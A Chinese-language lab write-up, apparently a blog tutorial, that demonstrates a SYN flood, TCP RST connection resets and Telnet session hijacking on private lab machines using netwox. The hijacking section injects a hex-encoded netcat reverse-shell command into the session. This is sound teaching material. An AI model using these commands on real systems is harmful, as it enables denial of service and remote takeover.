
今天用實驗來告訴大家,什麼是TCP-IP攻擊。最有趣的是會話劫持,你一定要看到最後哦~
TCP-IP攻擊
概述1. SYN-Flooding攻擊效果,受害者系統卡死.
2. TCP-RST攻擊實作已經建立的TCP連接配接斷開.
3. TCP會話劫持,劫持TCP會話,并實作反向Shell.
實驗環境1. 三台Linux系統主機,一台作為攻擊者,一台作為受害者,一台作為觀察者.
2. 為了簡化TCP序列号和源端口号的“猜測”,實驗處于同一區域網路内,你可以使用嗅探器來擷取受害者資訊.
SYN-Flooding攻擊1. SYN-Flooding攻擊原理
SYN-Flooding是DoS攻擊的一種,攻擊者向受害者的TCP端口發送很多SYN請求,但攻擊者無意完成三次握手過程.
攻擊者要麼使用欺騙性的假的IP位址,要麼不要繼續完成整個三次握手過程.
通過這種攻擊,攻擊者可以淹沒用于半連接配接的受害者隊列,即已完成SYN,SYN-ACK但尚未得到最終ACK的連接配接.
當這個隊列已滿時,受害者不能再進行任何連接配接.
正常三次握手過程:
client --- service
SYN -->
<-- SYN-ACK
ACK --->
在Linux中,我們可以使用以下指令檢查
指令:#sysctl -q net.ipv4.tcp_max_syn_backlog
[email protected]:/home/git/Keep-learning/mySeedLab# sysctl -q net.ipv4.tcp_max_syn_backlog
net.ipv4.tcp_max_syn_backlog = 512
我們可以使用指令
netstat -na
來檢查隊列的使用情況,即與監聽端口相關聯的半連接配接的數量.
這種半連接配接的狀态是SYN-RECV。如果三次握手完成,則連接配接的狀态将為ESTABLISHED.
在這個任務中,你需要示範SYN-Flooding攻擊:
您可以使用Netwox來執行攻擊,然後使用嗅探器捕獲攻擊性資料包.
在攻擊發生時,在受害機器上運作
netstat -na
指令,并将結果與攻擊前的結果進行比較.
2. Netwox 76簡介
标題:Synflood
用法:netwox 76 -i ip -p port [-s spoofip]
參數:
-i | --dst-ip ip 目标IP位址
-p | --dst-port port 目标端口号
-s | --spoofip spoofip IP欺騙初始化類型
3. SYN Cookie防禦機制
如果你的攻擊看起來不成功,你可以檢查是否啟用了SYN cookie機制.
SYN cookie是抵抗SYN-Flooding的防禦機制.
防禦原理簡介:
在TCP伺服器收到TCP SYN包并傳回TCP SYN+ACK包時,不配置設定一個專門的資料區,
而是根據這個SYN包計算出一個cookie值.
在收到TCP ACK包時,TCP伺服器在根據那個cookie值檢查這個TCP ACK包的合法性.
如果合法,再配置設定專門的資料區進行處理未來的TCP連接配接.
你可以使用sysctl指令打開/關閉SYN cookie機制:
#sysctl -a | grep cookie(顯示SYN cookie标志)
#sysctl -w net.ipv4.tcp_syncookies = 0(關閉SYN cookie)
#sysctl -w net.ipv4.tcp_syncookies = 1(打開SYN cookie)
4. 實驗結果分析
攻擊者:192.168.59.1
受害者:192.168.59.144
攻擊者終端對受害者進行SYN-Flooding打擊:
# netwox 76 -i 192.168.59.144 -p 80
實驗現象:受害者系統出現卡死狀态.
比較
netstat -na
前後狀态如下:
産生大量的TCP半連接配接,阻塞了隊列,導緻後續正常TCP連接配接無法建立!!
[04/17/2018 16:41] [email protected]:~$ diff 1.txt 2.txt
5a6,261
> tcp 0 0 192.168.59.144:80 253.138.146.184:9358 SYN_RECV
> tcp 0 0 192.168.59.144:80 246.55.107.172:50273 SYN_RECV
> tcp 0 0 192.168.59.144:80 196.23.102.181:5583 SYN_RECV
> tcp 0 0 192.168.59.144:80 242.22.15.17:45979 SYN_RECV
> tcp 0 0 192.168.59.144:80 246.166.91.206:61644 SYN_RECV
> tcp 0 0 192.168.59.144:80 249.212.122.218:23424 SYN_RECV
> tcp 0 0 192.168.59.144:80 251.32.218.10:56419 SYN_RECV
> tcp 0 0 192.168.59.144:80 248.235.192.194:41439 SYN_RECV
> tcp 0 0 192.168.59.144:80 241.118.133.147:19187 SYN_RECV
> tcp 0 0 192.168.59.144:80 242.23.168.166:21253 SYN_RECV
> tcp 0 0 192.168.59.144:80 247.207.89.108:45839 SYN_RECV
> ...........................................................................
TCP-RST攻擊 1. FTP協定
# service vsftpd start
2. TELNET協定
# /etc/init.d/openbsd-inetd start
3. SSH協定
# /etc/init.d/ssh start
4. Newox 78簡介
标題:重置每個TCP資料包
用法:netwox 78 [-d device] [-f filter] [-s spoofip]
參數:
-d | --device device名稱{Eth0}
-f | --filter filter pcap過濾器
-s | --spoofip spoofip IP欺騙初始化類型{linkbraw}
5. 實驗結果分析
-
FTP- FTP伺服器位址:
192.168.59.146/24
- FTP用戶端位址:
192.168.59.144/24
- 攻擊者位址:
192.168.59.1/24
攻擊者終端對受害者進行TCP-RST打擊:
# netwox 78 -d vmnet8
結果顯示:已經建立的TCP連接配接斷開.
[04/17/2018 23:28] [email protected]:~$ ftp 192.168.59.146
Connected to 192.168.59.146.
220 (vsFTPd 3.0.3)
Name (192.168.59.146:seed): gu
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x 2 1000 1000 4096 Apr 16 16:32 Desktop
drwxr-xr-x 2 1000 1000 4096 Apr 16 16:32 Documents
drwxr-xr-x 2 1000 1000 4096 Apr 16 16:32 Downloads
drwxr-xr-x 2 1000 1000 4096 Apr 16 16:32 Music
drwxr-xr-x 2 1000 1000 4096 Apr 16 16:32 Pictures
drwxr-xr-x 2 1000 1000 4096 Apr 16 16:32 Public
drwxr-xr-x 2 1000 1000 4096 Apr 16 16:32 Templates
drwxr-xr-x 2 1000 1000 4096 Apr 16 16:32 Videos
226 Directory send OK.
ftp>
ftp> ls
421 Service not available, remote server has closed connection
ftp>
-
Telnet- Telnet伺服器位址:
192.168.59.146/24
- Telnet用戶端位址:
192.168.59.144/24
- 攻擊者位址:
192.168.59.1/24
攻擊者終端對受害者進行TCP-RST打擊:
# netwox 78 -d vmnet8
結果顯示:已經建立的TCP連接配接斷開.
[04/17/2018 23:36] [email protected]:~$ telnet 192.168.59.146
Trying 192.168.59.146...
telnet: Unable to connect to remote host: Connection refused
[04/17/2018 23:36] [email protected]:~$ telnet 192.168.59.146
Trying 192.168.59.146...
Connected to 192.168.59.146.
Escape character is '^]'.
Ubuntu 16.04.4 LTS
ubuntu login: gu
Password:
Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.4.0-119-generic i686)
[email protected]:~$
[email protected]:~$ ls
Desktop Downloads Music Public Videos
Documents examples.desktop Pictures Templates
[email protected]:~$
[email protected]:~$ Connection closed by foreign host.
[04/18/2018 00:28] [email protected]:~$
- SSH - SSH伺服器位址:
192.168.59.146/24
- SSH用戶端位址:
192.168.59.144/24
- 攻擊者位址:
192.168.59.1/24
攻擊者終端對受害者進行TCP-RST打擊:
# netwox 78 -d vmnet8
結果顯示:已經建立的TCP連接配接斷開.
[04/18/2018 00:40] [email protected]:~$ ssh [email protected]
[email protected]'s password:
Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.4.0-119-generic i686)
Last login: Wed Apr 18 00:27:06 2018 from 192.168.59.144
[email protected]:~$ ls
Desktop Downloads Music Public Videos
Documents examples.desktop Pictures Templates
[email protected]:~$
[email protected]:~$
[email protected]:~$ Write failed: Broken pipe
[04/18/2018 00:41] [email protected]:~$
TCP會話劫持 1. 會話劫持簡介
TCP會話劫持攻擊的目标是通過向該會話中注入惡意内容來劫持兩名受害者之間的現有TCP連接配接(會話).
如果這個連接配接是一個telnet會話,攻擊者可以在這個會話中注入惡意指令(例如删除重要檔案),導緻受害者執行惡意指令.
2. Wireshark簡介
如果您使用Wireshark觀察網絡流量,當Wireshark顯示TCP序列号時,
預設情況下會顯示相對序列号,它等于實際序列号減去初始序列号.
如果想檢視包中的實際序列号,則需要右鍵單擊Wireshark輸出的TCP部分,
然後選擇"Protocol Preference". 在彈出視窗中,取消選"Relative Sequence Number"選項.
3. Netwox 40簡介
标題: Spoof Ip4Tcp packet
用法: netwox 40 [-l ip] [-m ip] [-o port] [-p port] [-q uint32] [-B]
參數:
-c|--ip4-tos uint32 IP4 tos {0}
-e|--ip4-id uint32 IP4 id (rand if unset) {0}
-f|--ip4-reserved|+f|--no-ip4-reserved IP4 reserved
-g|--ip4-dontfrag|+g|--no-ip4-dontfrag IP4 dontfrag
-h|--ip4-morefrag|+h|--no-ip4-morefrag IP4 morefrag
-i|--ip4-offsetfrag uint32 IP4 offsetfrag {0}
-j|--ip4-ttl uint32 IP4 ttl {0}
-k|--ip4-protocol uint32 IP4 protocol {0}
-l|--ip4-src ip IP4 src {172.16.27.1}
-m|--ip4-dst ip IP4 dst {5.6.7.8}
-n|--ip4-opt ip4opts IPv4 options
-o|--tcp-src port TCP src {1234}
-p|--tcp-dst port TCP dst {80}
-q|--tcp-seqnum uint32 TCP seqnum (rand if unset) {0}
-r|--tcp-acknum uint32 TCP acknum {0}
-s|--tcp-reserved1|+s|--no-tcp-reserved1 TCP reserved1
-t|--tcp-reserved2|+t|--no-tcp-reserved2 TCP reserved2
-u|--tcp-reserved3|+u|--no-tcp-reserved3 TCP reserved3
-v|--tcp-reserved4|+v|--no-tcp-reserved4 TCP reserved4
-w|--tcp-cwr|+w|--no-tcp-cwr TCP cwr
-x|--tcp-ece|+x|--no-tcp-ece TCP ece
-y|--tcp-urg|+y|--no-tcp-urg TCP urg
-z|--tcp-ack|+z|--no-tcp-ack TCP ack
-A|--tcp-psh|+A|--no-tcp-psh TCP psh
-B|--tcp-rst|+B|--no-tcp-rst TCP rst
-C|--tcp-syn|+C|--no-tcp-syn TCP syn
-D|--tcp-fin|+D|--no-tcp-fin TCP fin
-E|--tcp-window uint32 TCP window {0}
-F|--tcp-urgptr uint32 TCP urgptr {0}
-G|--tcp-opt tcpopts TCP options
-H|--tcp-data mixed_data mixed data
4. 實驗結果分析
- Telnet伺服器位址:
192.168.59.148/24
- Telnet用戶端位址:
192.168.59.146/24
- 攻擊者位址:
192.168.59.1/24
攻擊者終端對受害者進行TCP會話劫持:
我們要僞造發下一個包:
是以直接采用nextseq作為下一個包的ack,采用ack作為下一個包的seq.
最後一個Telnet資料包内容如下:
我們僞造向伺服器
192.168.59.148
發送
ls
指令,
将ls轉換成16進制并加上r的16進制數得到6c730d00,
通過netwox構造我們的攻擊指令如下:
netwox 40 --ip4-offsetfrag 0 --ip4-ttl 64 --ip4-protocol 6 --ip4-src 192.168.59.146 --ip4-dst 192.168.59.148 --tcp-src 46088 --tcp-dst 23 --tcp-seqnum 1362571669 --tcp-acknum 644316190 --tcp-ack --tcp-psh --tcp-window 128 --tcp-data "6c730d00"
在wireshark上顯示抓包資料如下:
我們成功的發送了ls !!!
我們成功的擷取到了伺服器發送的資料 !!!
來建立我們的殭屍電腦~ 現在我們來通過NC反彈一個Shell,來控制我們受害者:
首先是構造NC指令:
攻擊者:nc -lp 10010 -vvv
受害者:nc 192.168.59.1 10010 -c /bin/sh
建立NC攻擊語句:
netwox 40 --ip4-offsetfrag 0 --ip4-ttl 64 --ip4-protocol 6 --ip4-src 192.168.59.146 --ip4-dst 192.168.59.148 --tcp-src 46098 --tcp-dst 23 --tcp-seqnum 1600031421 --tcp-acknum 830921755 --tcp-ack --tcp-psh --tcp-window 128 --tcp-data "6e63203139322e3136382e35392e31203130303130202d63202f62696e2f73680d00"
實驗結果如圖:
首先看結果:我們成功拿到了伺服器上的使用者gu的所有權限!
咱們再來看看抓包資料,通過抓包資料,你可以看到最後一條Telnet的TCP資料,通過這些資料,就可以很友善通過Netwox構造攻擊語句了!!